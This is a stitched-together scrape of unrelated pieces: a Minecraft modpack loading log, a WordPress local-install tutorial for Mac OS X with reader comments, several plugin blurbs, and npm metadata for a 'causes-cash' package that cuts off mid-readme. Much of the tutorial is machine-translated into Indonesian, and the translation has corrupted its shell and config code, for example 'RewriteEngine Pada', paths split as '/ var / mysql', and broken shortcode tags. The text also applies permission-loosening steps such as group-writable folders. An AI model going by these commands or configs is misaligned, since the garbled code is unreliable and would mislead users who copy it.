[16/5/2015 18:46:49 PM] [Client thread/INFO] [ttCore]: Transforming net.minecraft.world.WorldType Finished. [16/5/2015 18:46:50 PM] [Client thread/ERROR] [MooFluids]: The mod MooFluids is expecting signature @FINGERPRINT@ for source MooFluids-1.7.10-1.5.01.19a.jar, however there is no signature matching that description [16/5/2015 18:46:50 PM] [Client thread/ERROR] [Moo Fluids]: No fingerprint found! [16/5/2015 18:46:50 PM] [Client thread/INFO]: Reloading ResourceManager: Default, FMLFileResourcePack:Forge Mod Loader, FMLFileResourcePack:Minecraft Forge, FMLFileResourcePack:Not Enough Items, FMLFileResourcePack:Lucky Block, FMLFileResourcePack:Furnace 3D, FMLFileResourcePack:ArmorStatusHUD, FMLFileResourcePack:Damage Indicators, FMLFileResourcePack:StartingInventory, FMLFileResourcePack:Applied Energistics 2, FMLFileResourcePack:AutoFood, FMLFileResourcePack:Automagy, FMLFileResourcePack:AutoPackager, FMLFileResourcePack:BiblioCraft, FMLFileResourcePack:BiblioWoods Natura Edition, FMLFileResourcePack:Big Reactors, FMLFileResourcePack:Botania, FMLFileResourcePack:Carpenter's Blocks, FMLFileResourcePack:ChickenChunks, FMLFileResourcePack:Chisel 2, FMLFileResourcePack:CoFH Core, FMLFileResourcePack:ComputerCraft, FMLFileResourcePack:Cosmetic Armor, FMLFileResourcePack:Decocraft, FMLFileResourcePack:Draconic Evolution, FMLFileResourcePack:Dragon Mounts, FMLFileResourcePack:Dual Hotbar, FMLFileResourcePack:Emotes, FMLFileResourcePack:Ender IO, FMLFileResourcePack:EnderStorage, FMLFileResourcePack:EnderTech, FMLFileResourcePack:Ender Utilities, FMLFileResourcePack:Ex Astris, FMLFileResourcePack:Ex Nihilo, FMLFileResourcePack:ExtraCells, FMLFileResourcePack:ExtraTiC, FMLFileResourcePack:Extra Utilities, FMLFileResourcePack:Food Plus, FMLFileResourcePack:Forbidden Magic, FMLFileResourcePack:FoxLib, FMLFileResourcePack:Greg's Lighting, FMLFileResourcePack:Hats, FMLFileResourcePack:HatStand, FMLFileResourcePack:Headcrumbs, FMLFileResourcePack:iChunUtil, FMLFileResourcePack:Iguana Tinker Tweaks, FMLFileResourcePack:Immibis Core, FMLFileResourcePack:Inventory Tweaks, FMLFileResourcePack:Iron Chest, FMLFileResourcePack:It's Raining Food, FMLFileResourcePack:JABBA, FMLFileResourcePack:Liquid XP, FMLFileResourcePack:Loot Bags, FMLFileResourcePack:LunatriusCore, FMLFileResourcePack:Magical Crops, FMLFileResourcePack:Mantle, FMLFileResourcePack:MinefactoryReloaded & MagicalCrops extra compatibility, FMLFileResourcePack:MineFactory Reloaded, FMLFileResourcePack:MFR Compat: Applied Energistics, FMLFileResourcePack:MFR Compat: Atum, FMLFileResourcePack:MFR Compat: BackTools, FMLFileResourcePack:MFR Compat: BuildCraft, FMLFileResourcePack:MFR Compat: Chococraft, FMLFileResourcePack:MFR Compat: ExtraBiomes, FMLFileResourcePack:MFR Compat: Forestry, FMLFileResourcePack:MFR Compat: ForgeMicroblock, FMLFileResourcePack:MFR Compat: IC2, FMLFileResourcePack:MFR Compat: Mystcraft, FMLFileResourcePack:MFR Compat ProjectRed, FMLFileResourcePack:MFR Compat: Railcraft, FMLFileResourcePack:MFR Compat: Sufficient Biomes, FMLFileResourcePack:MFR Compat: Thaumcraft, FMLFileResourcePack:MFR Compat: Thermal Expansion, FMLFileResourcePack:MFR Compat: Tinkers' Construct, FMLFileResourcePack:MFR Compat: TwilightForest, FMLFileResourcePack:MFR Compat: Vanilla, FMLFileResourcePack:Moo Fluids, FMLFileResourcePack:MorePlayerModels, FMLFileResourcePack:Morpheus, FMLFileResourcePack:Natura, FMLFileResourcePack:NEI Addons, FMLFileResourcePack:NEI Addons: Botany, FMLFileResourcePack:NEI Addons: Forestry, FMLFileResourcePack:NEI Addons: Crafting Tables, FMLFileResourcePack:NEI Addons: Ex Nihilo, FMLFileResourcePack:NEI Integration, FMLFileResourcePack:OpenBlocks, FMLFileResourcePack:OpenMods, FMLFileResourcePack:OpenPeripheralAddons, FMLFileResourcePack:OpenPeripheralCore, FMLFileResourcePack:OpenPeripheralIntegration, FMLFileResourcePack:Plugin Messages Mod, FMLFileResourcePack:Ranchable Fluid Cows, FMLFileResourcePack:RedLogic, FMLFileResourcePack:Redstone Arsenal, FMLFileResourcePack:Reliquary, FMLFileResourcePack:RFTools, FMLFileResourcePack:Simple Achievements, FMLFileResourcePack:Simply Jetpacks, FMLFileResourcePack:Slabcraft, FMLFileResourcePack:Solar Flux, FMLFileResourcePack:Staircraft, FMLFileResourcePack:Sync, FMLFileResourcePack:Tabula Rasa, FMLFileResourcePack:Tails, FMLFileResourcePack:Tinkers' Construct, FMLFileResourcePack:Thaumcraft, FMLFileResourcePack:Thaumcraft NEI Plugin, FMLFileResourcePack:Thaumic Energistics, FMLFileResourcePack:Thermal Casting, FMLFileResourcePack:Thermal Dynamics, FMLFileResourcePack:Thermal Expansion, FMLFileResourcePack:Thermal Foundation, FMLFileResourcePack:Translocator, FMLFileResourcePack:Tree Growing Simulator 2014, FMLFileResourcePack:ttCore, FMLFileResourcePack:Utility Mobs, FMLFileResourcePack:Vein Miner, FMLFileResourcePack:Mod Support, FMLFileResourcePack:Waila, FMLFileResourcePack:Waila Harvestability, FMLFileResourcePack:Waila NBT, FMLFileResourcePack:What Are We Looking At, FMLFileResourcePack:Witchery, FMLFileResourcePack:WR-CBE Core, FMLFileResourcePack:WR-CBE Addons, FMLFileResourcePack:WR-CBE Logic, FMLFileResourcePack:YUNoMakeGoodMap, FMLFileResourcePack:bspkrsCore, FMLFileResourcePack:Baubles, FMLFileResourcePack:Forge Microblocks, FMLFileResourcePack:Forge Multipart, FMLFileResourcePack:Minecraft Multipart Plugin, FMLFileResourcePack:libsandstone [16/5/2015 18:46:51 PM] [Client thread/INFO] [FML]: Processing ObjectHolder annotations [16/5/2015 18:46:53 PM] [Client thread/INFO] [FML]: Found 434 ObjectHolder annotations [16/5/2015 18:46:53 PM] [Client thread/INFO] [FML]: Configured a dormant chunk cache size of 0 [16/5/2015 18:46:58 PM] [Client thread/INFO] [MobiusCore]: [MobiusCore] Found net.minecraft.client.renderer.entity.RenderManager [ bnn ] with checksum 23331C7A7033A1CF1F1AAE38FD89A9B5 [16/5/2015 18:46:58 PM] [Client thread/INFO] [MobiusCore]: Successful injection in a (Lsa;DDDFFZ)Z [16/5/2015 18:46:58 PM] [Client thread/INFO] [MobiusCore]: Successful injection in a (Lsa;DDDFFZ)Z [16/5/2015 18:46:58 PM] [Client thread/INFO] [MobiusCore]: [MobiusCore] Found net.minecraft.client.renderer.tileentity.TileEntityRendererDispatcher [ bmk ] with checksum 1B9F2A44C89A8C0C359AD4D34A73DA8D [16/5/2015 18:46:58 PM] [Client thread/INFO] [MobiusCore]: Successful injection in a (Laor;DDDF)V [16/5/2015 18:46:58 PM] [Client thread/INFO] [MobiusCore]: Successful injection in a (Laor;DDDF)V [16/5/2015 18:47:00 PM] [Client thread/INFO] [AE2:C]: Pre Initialization ( started ) [16/5/2015 18:47:01 PM] [Client thread/INFO] [AE2-CORE]: func_145839_a(Lnet/minecraft/nbt/NBTTagCompound;)V - Transformed [16/5/2015 18:47:01 PM] [Client thread/INFO] [AE2-CORE]: func_145841_b(Lnet/minecraft/nbt/NBTTagCompound;)V - Transformed [16/5/2015 18:47:01 PM] [Client thread/INFO] [AE2-CORE]: Removing Interface ic2.api.energy.tile.IEnergySink from appeng/tile/powersink/IC2 because IC2 integration is disabled. [16/5/2015 18:47:01 PM] [Client thread/INFO] [AE2-CORE]: Updated appeng/tile/powersink/IC2 [16/5/2015 18:47:01 PM] [Client thread/INFO] [AE2-CORE]: Removing Interface Reika.RotaryCraft.API.Power.ShaftPowerReceiver from appeng/tile/powersink/RotaryCraft because RotaryCraft integration is disabled. [16/5/2015 18:47:01 PM] [Client thread/INFO] [AE2-CORE]: Removing Method Tick_RotaryCraft from appeng/tile/powersink/RotaryCraft because RotaryCraft integration is disabled. [16/5/2015 18:47:01 PM] [Client thread/INFO] [AE2-CORE]: Updated appeng/tile/powersink/RotaryCraft [16/5/2015 18:47:01 PM] [Client thread/INFO] [AE2-CORE]: Allowing Interface cofh.api.energy.IEnergyReceiver from appeng/tile/powersink/RedstoneFlux because RF integration is enabled. [16/5/2015 18:47:01 PM] [Client thread/INFO] [AE2-CORE]: Removing Interface mekanism.api.energy.IStrictEnergyAcceptor from appeng/tile/powersink/MekJoules because Mekanism integration is disabled. [16/5/2015 18:47:01 PM] [Client thread/INFO] [AE2-CORE]: Updated appeng/tile/powersink/MekJoules [16/5/2015 18:47:02 PM] [Client thread/INFO] [AE2-CORE]: Allowing Interface powercrystals.minefactoryreloaded.api.rednet.connectivity.IRedNetConnection from appeng/block/networking/BlockCableBus because MFR integration is enabled. [16/5/2015 18:47:02 PM] [Client thread/INFO] [AE2-CORE]: Allowing Method getConnectionType from appeng/block/networking/BlockCableBus because MFR integration is enabled. [16/5/2015 18:47:02 PM] [Client thread/INFO] [AE2-CORE]: Removing Interface buildcraft.api.tools.IToolWrench from appeng/items/tools/quartz/ToolQuartzWrench because BC integration is disabled. [16/5/2015 18:47:02 PM] [Client thread/INFO] [AE2-CORE]: Updated appeng/items/tools/quartz/ToolQuartzWrench [16/5/2015 18:47:02 PM] [Client thread/INFO] [AE2-CORE]: Removing Interface ic2.api.item.ISpecialElectricItem from appeng/items/tools/powered/powersink/IC2 because IC2 integration is disabled. [16/5/2015 18:47:02 PM] [Client thread/INFO] [AE2-CORE]: Removing Interface ic2.api.item.IElectricItemManager from appeng/items/tools/powered/powersink/IC2 because IC2 integration is disabled. [16/5/2015 18:47:02 PM] [Client thread/INFO] [AE2-CORE]: Removing Method getManager from appeng/items/tools/powered/powersink/IC2 because IC2 integration is disabled. [16/5/2015 18:47:02 PM] [Client thread/INFO] [AE2-CORE]: Updated appeng/items/tools/powered/powersink/IC2 [16/5/2015 18:47:02 PM] [Client thread/INFO] [AE2-CORE]: Allowing Interface cofh.api.energy.IEnergyContainerItem from appeng/items/tools/powered/powersink/RedstoneFlux because RFItem integration is enabled. [16/5/2015 18:47:02 PM] [Client thread/INFO] [AE2-CORE]: Removing Interface buildcraft.api.tools.IToolWrench from appeng/items/tools/ToolNetworkTool because BC integration is disabled. [16/5/2015 18:47:02 PM] [Client thread/INFO] [AE2-CORE]: Updated appeng/items/tools/ToolNetworkTool [16/5/2015 18:47:03 PM] [Client thread/INFO] [AE2-CORE]: Removing Interface buildcraft.api.transport.IPipeConnection from appeng/parts/misc/PartStorageBus because BC integration is disabled. [16/5/2015 18:47:03 PM] [Client thread/INFO] [AE2-CORE]: Removing Method overridePipeConnection from appeng/parts/misc/PartStorageBus because BC integration is disabled. [16/5/2015 18:47:03 PM] [Client thread/INFO] [AE2-CORE]: Updated appeng/parts/misc/PartStorageBus [16/5/2015 18:47:03 PM] [Client thread/INFO] [AE2-CORE]: Removing Interface buildcraft.api.transport.IPipeConnection from appeng/parts/p2p/PartP2PItems because BC integration is disabled. [16/5/2015 18:47:03 PM] [Client thread/INFO] [AE2-CORE]: Removing Method overridePipeConnection from appeng/parts/p2p/PartP2PItems because BC integration is disabled. [16/5/2015 18:47:03 PM] [Client thread/INFO] [AE2-CORE]: Updated appeng/parts/p2p/PartP2PItems [16/5/2015 18:47:03 PM] [Client thread/INFO] [AE2-CORE]: Removing Interface ic2.api.energy.tile.IEnergySink from appeng/parts/p2p/PartP2PIC2Power because IC2 integration is disabled. [16/5/2015 18:47:03 PM] [Client thread/INFO] [AE2-CORE]: Removing Interface ic2.api.energy.tile.IEnergySource from appeng/parts/p2p/PartP2PIC2Power because IC2 integration is disabled. [16/5/2015 18:47:03 PM] [Client thread/INFO] [AE2-CORE]: Updated appeng/parts/p2p/PartP2PIC2Power [16/5/2015 18:47:03 PM] [Client thread/INFO] [AE2-CORE]: Allowing Interface cofh.api.energy.IEnergyReceiver from appeng/parts/p2p/PartP2PRFPower because RF integration is enabled. [16/5/2015 18:47:03 PM] [Client thread/INFO] [AE2:C]: Starting AE2 VersionChecker [16/5/2015 18:47:03 PM] [Client thread/INFO] [AE2:C]: Pre Initialization ( ended after 4556ms ) [16/5/2015 18:50:48 PM] OpenEye: Sending pending crash report located at '**USERSDIR**\Instances\SkyFactory\reports\pending-crash-2015-05-14_21.47.10-0.json' [16/5/2015 18:50:48 PM] Checking for updated files! [16/5/2015 18:50:49 PM] OpenEye: Pending crash report sent! URL: http://openeye.openmods.info/commoncrash/oom [16/5/2015 18:50:55 PM] No updates found! [16/5/2015 19:05:04 PM] Copied Log to clipboard [16/5/2015 19:05:07 PM] Log uploaded and link copied to clipboard:
sopyanopan
Per Søderlind bagaimana caranya Menjalankan WordPress secara lokal di Mac OS X Lion, Mountain Lion, dan Mavericks Menjalankan WordPress secara lokal di Mac OS X Lion, Mountain Lion, dan Mavericks PER SØDERLIND26 AGUSTUS 2011 Apple dan WordPressIngin menjalankan WordPress di OSX? Saya ingin melakukannya untuk waktu yang lama dan akhirnya berhasil melakukannya. Multisite : Lihat catatan di bawah jika Anda berencana untuk menjalankan Jaringan WordPress (alias multisite) di Mac Anda. Baru : Berikut ini alternatifnya, lihat WordPress di Pow (termasuk "bagaimana cara menambahkan MySQL, PHP5.4.9 dan Ruby 1.9.3 ") Pembaruan: Mountain Lion dan Mavericks Berbagi Web di Mountain Lion dihapus dari System Preferences-> Sharing (tidak tahu mengapa), jadi untuk memulai server web, buka Terminal (atau iTerm ) dan masukkan: [shell light = "true"] $ sudo apachectl start [/ shell ] perintah utama apachectl adalah: start, stop, dan restart. Anda dapat mempelajari lebih lanjut tentang apachectl dengan memasukkan yang berikut di Terminal [shell light = "true"] $ man apachectl [/ shell] apachectl cukup ketika Anda perlu memulai, restart atau menghentikan server saat pengujian, tetapi jika Anda ingin server web untuk memulai secara otomatis setelah reboot, Anda harus mengaktifkan daemon peluncuran untuk server: [shell light = "true"] sudo defaults write /System/Library/LaunchDaemons/org.apache.httpd Disabled -bool false [/ shell] Buat /var/mysql/mysql.sock jika tidak ada (atau ganti /var/mysql/mysql.sock dengan /tmp/mysql.sock lebih jauh di bawah) [shell light = "true"] $ sudo mkdir / var / mysql $ sudo ln -s/tmp/mysql.sock/var / mysql/mysql.sock [/ shell] Juga, Jika Anda mengikuti petunjuk di bawah sebelumnya dan meningkatkan Singa Anda ke Mountain Lion, Anda harus mengaktifkan kembali PHP: [shell light = "true"] $ sudo sh -c "grep php /etc/apache2/httpd.conf|grep LoadModule | cut -d '#' -f2> /etc/apache2/other/php5-loadmodule.conf" $ sudo cp -a /etc/php.ini.default /etc/php.ini $ sudo sh -c “cat >> /etc/php.ini << 'EOF' ;; ;; Kustomisasi pengguna di bawah ; ; Asli - memory_limit = 128M memory_limit = 196M ; Asli - post_max_size = 8M post_max_size = 200M ; Asli - upload_max_filesize = 2M upload_max_filesize = 100M ; Asli - default_socket_timeout = 60 default_socket_timeout = 600 ; Asli - max_execution_time = 30 max_execution_time = 300 ; Asli - max_input_time = 60 max_input_time = 600 ; Asli - display_errors = Mati display_errors = on ; Asli - display_startup_errors = Tidak aktif display_startup_errors = on ; Asli -; date.timezone = date.timezone = 'America / New_York' // Ubah ke zona waktu Anda: http://www.php.net/manual/en/timezones.php EOF ” $ sudo sh -c “cat >> /etc/php.ini <<‘EOF’ ; Original – ;include_path = “.:/php/includes” include_path = “.:/usr/lib/php/pear” EOF” $ sudo sed -i “” ‘s#/var/mysql/mysql.sock#/tmp/mysql.sock#g’ /etc/php.ini $ sudo apachectl restart [/shell] How I installed MAMP + WordPress 1 ) Installed Apache, MySQL and PHP on my Mac. I followed this excellent guide: OS X 10.7 Lion Development: Native MAMP with MySQL installer. Here’s the /Users/<username>/Sites/httpd-vhosts.conf I made: [xml] # # Use name-based virtual hosting. # NameVirtualHost *:80 # # Set up permissions for VirtualHosts in ~/Sites # <Directory “/Users/<username>/Sites”> Options Indexes FollowSymLinks MultiViews AllowOverride All Order allow,deny Allow from all </Directory> # For http://localhost in the OS X default location <VirtualHost _default_:80> ServerName localhost DocumentRoot /Library/WebServer/Documents </VirtualHost> # # VirtualHosts below # # wp.local <VirtualHost *:80> ServerName wp.local CustomLog “/Users/<username>/Sites/logs/wp.local-access_log” combined ErrorLog “/Users/<username>/Sites/logs/wp.local-error_log” DocumentRoot “/Users/<username>/Sites/wordpress” </VirtualHost> [/xml] 2) Installed WordPress in /Users/<username>/Sites/wordpress When I tried to install the first plugin, I got the dreaded FTP Connection Information required :/ Luckily, Google to the rescue, I found this fix to allow WordPress automatic plugin installation/update: A) Changed the owner and permissions for the entire WordPress installation, assuming you installed WordPress in /Users/<username>/Sites: [shell] $ cd /Users/<username>/Sites $ sudo chown -R :_www wordpress $ sudo chmod -R g+w wordpress [/shell] B) Added the following to /Users/<username>/Sites/wordpress/wp-config.php: [php light=”true”] define(‘FS_METHOD’, ‘direct’); [/php] How to create a WordPress multisite locally 1) Follow the instructions above, and create a separate database per multisite Easiest is to create a path-based (that is use sub-directories) multisite. My multisite virtual host looks like this: [xml] <VirtualHost *:80> ServerName mu.local CustomLog “/Users/<username>/Sites/logs/mu.local-access_log” combined ErrorLog “/Users/<username>/Sites/logs/mu.local-error_log” DocumentRoot “/Users/<username>/Sites/mu.local” </VirtualHost> [/xml] 2) When WordPress is up and running, follow steps 2 – 6 in the Create a Network guide. If you have any questions, please don’t hesitate to ask below. I’ll try to answer as soon as possible. Twitter Google+ Facebook LinkedIn Email Read Offline:Download PDFDownload ePubDownload mobiPrint INSTALLATIONMAC OS XMAMPMYSQLWORDPRESS PREVIOUS Upgraded to WordPress 3.2 and nothing worked (internal error …) NEXT Front-end editor in WordPress 3.3 is easy 30 Comments bananaaus You legend! MARCH 7, 2012 REPLY Jarratt Hello, I’m just setting up a local installation of WordPress on my Mac with OSX Lion. I’ve managed to install it but I can’t update any plugins, import my blog etc (I’m new to all this so flying blind so to speak). I have read something about changing my FTP permissions? I don’t really understand what the article above is saying, could you please give some further info for me? Thanks a lot, hopefully you can help! Jarratt APRIL 13, 2012 REPLY PerS You have to do the following: A) Changed the owner and permissions for the entire WordPress installation, assuming you installed WordPress in /Users/<username>/Sites: [code lang=”shell” light=”false”] $ cd /Users/<username>/Sites $ sudo chown -R :_www wordpress $ sudo chmod -R g+w wordpress [/code] B) Added the following to /Users/<username>/Sites/wordpress/wp-config.php: [php] define(‘FS_METHOD’, ‘direct’); [/php] APRIL 13, 2012 REPLY Jarratt Hi again, That’s great, all up an running now. Thanks a lot! APRIL 16, 2012 REPLY Nick So I am having a problem with permalinks after setting up my dev environment on OSX Lion. I have AllowOveride All in my httpd.conf and in my vhosts file as you show, mod_rewrite is enabled… Any ideas? Thanks! MAY 1, 2012 REPLY PerS Apakah .htaccess Anda dapat ditulisi oleh wordpress? Milik saya terlihat seperti ini (dan permalinks bekerja): [shell] # BEGIN WordPress <IfModule mod_rewrite.c> RewriteEngine Pada RewriteBase / RewriteRule ^ index.php $ - [L] RewriteCond% {REQUEST_FILENAME}! -f RewriteCond% {REQUEST_FILENAME}! -d RewriteRule. /index.php [L] </ IfModule> # END WordPress [/ shell] 1 MEI 2012 BALASAN bla bla Sepertinya banyak masalah bagi saya, saya menggunakan mamp pro & coda, std mamp menginstal dan wordpress ke direktori wordpress di folder situs, tidak perlu untuk semua yang mengotak-atik hasil yang sama, oh dan semuanya bekerja seperti pada server langsung, email, permalinks, pembaruan untuk wordpress & plugin, .htaccess yang dapat ditulis dll 4 MEI 2012 BALASAN Bill Robbins Pembenci anonim menghisap. Jika Anda mengeluh cukup untuk meninggalkan sebagai komentar, setidaknya tunjukkan diri Anda. 26 JULI 2012 BALASAN chapman welch Terima kasih atas tipnya. Anda menyelamatkan saya beberapa jam rasa sakit dan penderitaan! 14 JUNI 2012 BALASAN Senica Terima kasih sudah mengirim. Membuatku gila. 9 AGUSTUS 2012 BALASAN Martyn Chamberlin Ini benar-benar luar biasa! Saya telah secara manual menginstal / memperbarui WordPress, kerangka kerja saya, dan plugin saya. Berkat tutorial ini, kerumitan jahat ini telah dikurangi menjadi beberapa klik sederhana. 29 AGUSTUS 2012 BALASAN PakPenyo solusi bagi saya adalah mengubah pengguna dan grup: sudo chown -R _www: _www wordpress Terima kasih. 12 OKTOBER 2012 BALASAN PerS Itu bagus, selama Anda adalah anggota grup _www, jika tidak Anda (seperti pada pengguna Anda) tidak dapat mengedit file. 12 OKTOBER 2012 BALASAN Yanns terima kasih banyak, namun ada pertanyaan .. haruskah saya peduli terhadap apa pun ketika saya memigrasikan situs lokal ke publik? Haruskah saya menghapus yang terakhir seperti dari wp-config.php? 27 JANUARI 2013 BALASAN PerS Saya menggunakan http://ithemes.com/purchase/backupbuddy/ ketika saya memindahkan situs dari localhost ke produksi. Itu melakukan perubahan yang diperlukan untuk wp-config.php 27 JANUARI 2013 BALASAN Yanns ya tetapi apakah menurut Anda membuat perubahan ke wp-config.php sudah cukup? Saya belum pernah melakukannya sebelumnya di WP tetapi saya pikir kita perlu memperbaiki hal-hal lain juga sebelum ditayangkan. Seperti tautan dll .. mungkin pertanyaan saya konyol tapi baiklah, saya akan mencengkeramnya sehari;) 27 JANUARI 2013 BALASAN Yanns ..dan apakah backupbuddy mengurus hak akses yang kami berikan dengan perintah di atas? Maksud saya untuk membuat mereka kembali normal. Saya tidak ingin ada masalah dengan hak akses ketika situs web online .. 27 JANUARI 2013 BALASAN Yanns di baris perintah saya (singa) itu mengatakan: -bash: Pengguna // Situs / pencarian / folder: Tidak ada file atau direktori seperti itu jalan hanyalah sebuah contoh. Saya mencoba mencari di mana jalan rusak, mencoba perintah $ cd dalam potongan kecil tetapi ada lagi masalah yang sama. apa yang harus saya lakukan? 27 JANUARI 2013 BALASAN PerS Anda harus mengganti <username> dalam contoh di atas dengan nama pengguna Anda. 27 JANUARI 2013 BALASAN Yanns Ya, saya telah melakukan itu. apa yang saya lakukan adalah untuk menggambarkan Anda jalan. Akhirnya, masalah itu disebabkan oleh hal konyol yang telah saya lakukan: Saya telah meletakkan spasi di nama file sehingga terminal tidak dapat menemukan folder .. Masalah lainnya adalah saya tidak menulis filepath yang benar. jadi saya mencarinya dan saya menemukan bahwa Anda dapat menulis 1-2 huruf pertama dari nama file Anda dan kemudian tekan Ctrl + tab (untuk mac itu sama, ex.Ctrl + tab, dan perintah + tab tidak akan berfungsi) . Setelah Anda melakukannya, terminal akan menulis nama file untuk Anda! .. Terakhir, masalah lain adalah bahwa saya sedang menulis ..sudo chown -R: _www wordpress Kesalahan saya: Saya harus menulis nama folder induk file. Saya pikir wordpress itu bagian dari perintah. Jadi yang benar adalah: sudo chown -R: _www exampleFilename (ofcourse juga berlaku untuk chmod) Cheers! 27 JANUARI 2013 BALASAN Aidan Boyle Luar biasa! Terima kasih telah memposting ini. Saya memiliki waktu dengan yang satu ini dan ini melakukan trik segera terima kasih! 21 MARET 2013 BALASAN Phil Dipasang WP tetapi memiliki probs ketika mengunggah media karena masalah perizinan. Diburu selama berabad-abad untuk mencari solusi. Situs Anda menyortirnya segera. Tepuk tangan. 8 APRIL 2013 BALASAN PerS Adian dan Phil, Senang aku dapat membantu. Tolong beritahu orang lain menggunakan twitter dll. 8 APRIL 2013 BALASAN Babass Halo, saya memiliki kesalahan saat pemasangan plugin. Sebelum masalah akses ditolak folder, saya memiliki pesan kesalahan baru: “Paket tidak dapat dipasang. PCLZIP_ERR_BAD_FORMAT (-10): Tidak dapat menemukan tanda End of Central Dir Record " Apa artinya? terimakasih atas bantuannya 12 APRIL 2013 BALASAN PerS Ini biasanya berarti bahwa arsip plugin tidak dapat diekstraksi karena terlalu sedikit ruang disk, tetapi mungkin juga karena ini: http://core.trac.wordpress.org/ticket/22913 14 APRIL 2013 BALASAN Babass Terima kasih atas balasan Anda, ini masalah format. Saya mengunggah file zip, dan sekarang berfungsi. 18 APRIL 2013 BALASAN steve Anda harus memasang plugin secara lokal hanya dengan mengubah grup ke _www untuk wp-content dan menambahkan izin menulis ke grup, lalu menambahkan define ('FS_METHOD', 'direct'); baris ke wp-config Anda. 9 JUNI 2014 BALASAN Jarod Taylor Setelah mengubah izin, direktori direktori localhost / ~ username saya tidak ditemukan. 28 NOVEMBER 2014 BALASAN Per Søderlind Apakah ini di Mac OS X Yosemite? Saya berhenti menggunakan apache lokal, saya menggunakan https://github.com/Chassis/Chassis sebagai gantinya.
lemaiwo
FioriWhatsNewPlugin
dajulia3
This plugin is an extension to the Yoast Google Analytics for WordPress Plugin that allows you to track what a logged in user views by managing new GA custom variables.
andreaswissel
What if your software could… ship software? ShipKit — An open-source runtime plugin that lets your single-page application ship new features through LLMs. Compose new UI, semantics, and business logic using your existing APIs and components.
This mailing list management plugin allows the visitors of your blog subscribe to your mailing list using a double opt-in method. The plugin sends an email with the subscription confirmation link to the user and if the user confirms the subscription, it sends a welcome email to each new subscriber. The details of new subscribers are saved to the internal WordPress database. You can <a href="http://www.glockeasymail.com/wordpress-email-newsletter-plugin-for-double-opt-in-subscription/" title="create double opt-in mailing list">manage the mailing list inside WordPress</a> and export the list for the further use in your <a href="http://www.glockeasymail.com/" title="bulk email marketing software">email marketing software</a>. You can also use the plugin to convert your blog RSS feed into an email newsletter and send it out to your subscribers. You can design the style and content of your email newsletter yourself and you can schedule your email broadcast weekly, monthly or as soon as you add a certain number of new posts to your blog. Please see the <a href="http://www.glockeasymail.com/wordpress-email-newsletter-plugin-for-double-opt-in-subscription/history/" title="Double Opt-In sidebar widget version history">VERSION HISTORY</a> for what's new and current bugfixes.
baby636
{"name":"causes-cash","version":"20.5.11","license":"MIT","scripts":{"serve":"vue-cli-service serve","build-for-local":"vue-cli-service build","build-for-server":"vue-cli-service build --mode server","test:unit":"vue-cli-service test:unit","lint":"vue-cli-service lint","generate-icons":"vsvg -s ./svg-icons -t ./src/compiled-icons"},"dependencies":{"@ledgerhq/hw-app-btc":"5.13.1","@ledgerhq/hw-app-eth":"5.14.0","@ledgerhq/hw-transport-webusb":"5.13.1","bs58":"4.0.1","core-js":"3.6.4","dompurify":"2.0.11","ethers":"4.0.45","ipfs":"0.40.0","moment":"2.24.0","msgpack-lite":"0.1.26","numeral":"2.0.6","orbit-db":"0.23.1","qrcode":"1.4.4","scrypt-js":"3.0.0","showdown":"1.9.1","superagent":"5.2.2","vue":"2.6.11","vue-router":"3.1.5","vuex":"3.1.2","vuex-persistedstate":"3.0.1"},"devDependencies":{"@vue/cli-plugin-babel":"4.2.0","@vue/cli-plugin-eslint":"4.2.0","@vue/cli-plugin-router":"4.2.0","@vue/cli-plugin-unit-jest":"4.2.0","@vue/cli-plugin-vuex":"4.2.0","@vue/cli-service":"4.2.0","@vue/test-utils":"1.0.0-beta.31","babel-eslint":"10.0.3","eslint":"6.7.2","eslint-plugin-vue":"6.1.2","vue-svgicon":"3.2.6","vue-template-compiler":"2.6.11"},"gitHead":"e0ea962691cb8580415843b5c4d2ef80640acedc","description":"","_id":"causes-cash@20.5.11","_nodeVersion":"12.16.2","_npmVersion":"6.14.4","dist":{"integrity":"sha512-05r0Z961/K+w7w7fNTJtkqCCzxJz0T6Q18Mkrx4Dvm7UcCOMAkLirKHJLhbYWcaek86inqNyXW4N2kczcHxhHw==","shasum":"e2764c4800d3a1c723afd5af400c361f1d151f14","tarball":"https://registry.npmmirror.com/causes-cash/-/causes-cash-20.5.11.tgz","fileCount":248,"unpackedSize":8050161,"npm-signature":"-----BEGIN PGP SIGNATURE-----\r\nVersion: OpenPGP.js v3.0.4\r\nComment: https://openpgpjs.org\r\n\r\nwsFcBAEBCAAQBQJevLilCRA9TVsSAnZWagAAXSEP/3tsOWA12PhFTUI2BKIe\nnhtZpAxfxTdqKkMi5gSBBKtlGdh++fZmlYfEwAcu3orAmYQ0AhCOIZD2MSWz\njz5SgJ/2ykcBiPqLn2uNBpxA86Bz7neZ6GBzM0cteHsnmH/uxh2cZiaCj49g\nkbwIpMD4DI3di/oEl4NEi2pz6uaWrZhnijqy0fZjiV9/5K5QdFRD6uf5Xy3M\nUhNVh8R7b5sBKrZVUdNra9tJZvXjOJG1YXAfMoX8Gl2IEYcVtVIc5GRS2vAO\n1w/yi9fEzP34oh2qq8Lui7mo1gtTqhTggi5giPBTVYt//ZOPxGKuN9UZpqoB\nR4q2p5gq3ri3KPVYYmkpWxoS5r4BvO4jrTt+edQ3GARPWcQPGfN80hWPCOnm\n0RvjO7V5I/oHpubw327TlABmLoxKLA6nRga78dcSuoO/k0+g4bo2xriaWvlU\nEjGYp4Vjeh4RNkmTnI8/RrHcJY4EgIT9dB3ewob0BhtbexeAV4spWFOKhGcS\nM8fygjPB6vrmUTkyIuFVzohQBQwi/MC3JnJZ2fIV+wKK+7ZZ3OyZH2xQZ2Y/\npnZilgJDHlf1JJqEwg6UFsnNSOcLov8Nw8A4WWu5VQ4f0wgzuFyg5J1x0qU2\nMZWzig8vbdS3zxHPGI6PQ0rtUimh8aosaTYhirNTy4315/yDT75bA4i1AdWR\nRNeY\r\n=b4hl\r\n-----END PGP SIGNATURE-----\r\n","size":4762795},"maintainers":[{"name":"bchplease","email":"support@bchplease.org"}],"_npmUser":{"name":"bchplease","email":"support@bchplease.org"},"directories":{},"_npmOperationalInternal":{"host":"s3://npm-registry-packages","tmp":"tmp/causes-cash_20.5.11_1589426340791_0.7748362666261701"},"_hasShrinkwrap":false,"_cnpmcore_publish_time":"2021-12-24T23:04:57.790Z","readme":"# Welcome to the Documentation<br>for Bitcoin Causes :-)\n\n\n\n### https://causes.cash\n\nDocumentation — __https://docs.causes.cash__\n\nOpen Source — __https://gitlab.com/bchplease/causes.cash__\n\n[](https://join.slack.com/t/bchplease/shared_invite/zt-e7jj03j5-vJbe47kNrPBjTgTXwLNRkA)\n\n## Donate to YOUR 